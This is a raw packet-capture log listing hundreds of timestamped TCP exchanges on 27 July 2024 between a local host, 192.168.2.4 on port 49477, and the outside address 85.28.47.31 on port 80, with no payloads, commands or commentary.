Jul 27, 2024 05:39:11.214456081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214464903 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214497089 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214497089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214517117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214531898 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214560032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214582920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214597940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214615107 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214643002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214659929 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214679003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214694977 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214719057 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214728117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214756012 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214761019 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214773893 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214795113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214827061 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214827061 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214847088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214862108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214896917 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.214910984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214911938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.214950085 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.215859890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.215893030 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.215925932 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.215928078 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.215949059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.215958118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.215985060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216006994 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216008902 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216042042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216068983 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216075897 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216104984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216133118 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216188908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216222048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216253042 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216254950 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216274023 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216284990 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216305971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216317892 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216340065 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216350079 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216375113 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216382027 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.216412067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.216434002 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220159054 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220232964 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220499992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220568895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220707893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220743895 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220776081 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220793962 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220803976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220827103 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220858097 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220860004 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220877886 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220895052 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220917940 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220943928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220952988 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.220978022 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.220999956 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221010923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221035004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221043110 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221069098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221076012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221131086 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221143961 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221153021 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221180916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221201897 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221210957 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221237898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221245050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221261978 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221282005 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221302032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221330881 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221340895 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221364975 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221393108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221395969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221431017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221431971 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221450090 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221479893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221484900 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221513033 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221541882 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221544981 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221575022 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221580029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221609116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221613884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221641064 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221666098 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221698046 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221707106 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221724987 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221733093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221764088 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221764088 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221786976 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221816063 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221828938 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221848011 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221873999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221880913 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221913099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221914053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221932888 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221965075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.221966982 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.221997976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222029924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222029924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222059965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222062111 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222095013 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222098112 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222127914 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222145081 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222176075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222177029 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222212076 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222213984 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222230911 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222244024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222268105 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222278118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222300053 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222311020 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222338915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222345114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222377062 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222379923 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222405910 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222414017 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222440958 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222450018 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222467899 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222482920 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222507000 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222516060 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.222542048 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.222569942 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292179108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292236090 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292263985 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292361021 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292392969 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292426109 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292457104 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292459965 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292460918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292460918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292460918 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292505026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.292521954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292521954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.292568922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.297977924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298031092 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298051119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298089981 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298100948 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298152924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298168898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298202991 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298211098 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298235893 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298268080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298268080 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298291922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298301935 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298329115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298335075 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298365116 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298368931 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298399925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298401117 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298423052 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298434973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298460007 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298469067 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298496008 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298501968 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.298532009 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.298563004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302448034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302499056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302522898 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302548885 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302568913 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302582026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302612066 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302632093 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302634954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302665949 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302689075 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302699089 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302720070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302736998 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302753925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302786112 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302788973 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302822113 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302845955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302870989 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302870989 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302922010 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302928925 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302953959 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.302982092 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.302987099 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303006887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303036928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303040028 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303070068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303091049 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303123951 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303143024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303191900 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303204060 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303225040 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303242922 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303258896 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303280115 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303289890 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303314924 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303324938 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303345919 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303356886 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303379059 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303390026 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303407907 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303422928 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303443909 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303456068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303474903 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303488016 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303519011 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303519964 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303546906 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303554058 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303570032 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303587914 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303608894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303618908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303644896 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303652048 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303670883 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303687096 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303704977 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303719997 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303738117 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303750992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303776979 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303783894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303806067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303817034 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303838015 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303849936 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303872108 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303881884 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303905010 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303915024 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303939104 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303949118 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303972960 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.303982973 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.303999901 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.304032087 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.309467077 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309542894 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.309792995 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309844971 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309856892 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.309895992 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309900999 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.309930086 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309951067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.309979916 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.309987068 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310034037 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310082912 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310116053 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310148954 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310149908 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310173035 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310199976 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310200930 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310250044 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310256004 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310282946 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310306072 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310314894 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310337067 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310347080 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310365915 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310396910 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310400963 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310430050 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310456038 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310463905 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310488939 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310516119 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310516119 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310553074 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310570955 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310584068 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310606003 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310616970 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310636997 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310648918 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310672998 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310683012 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:11.310695887 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:11.310739040 CEST	49477	80	192.168.2.4	85.28.47.31
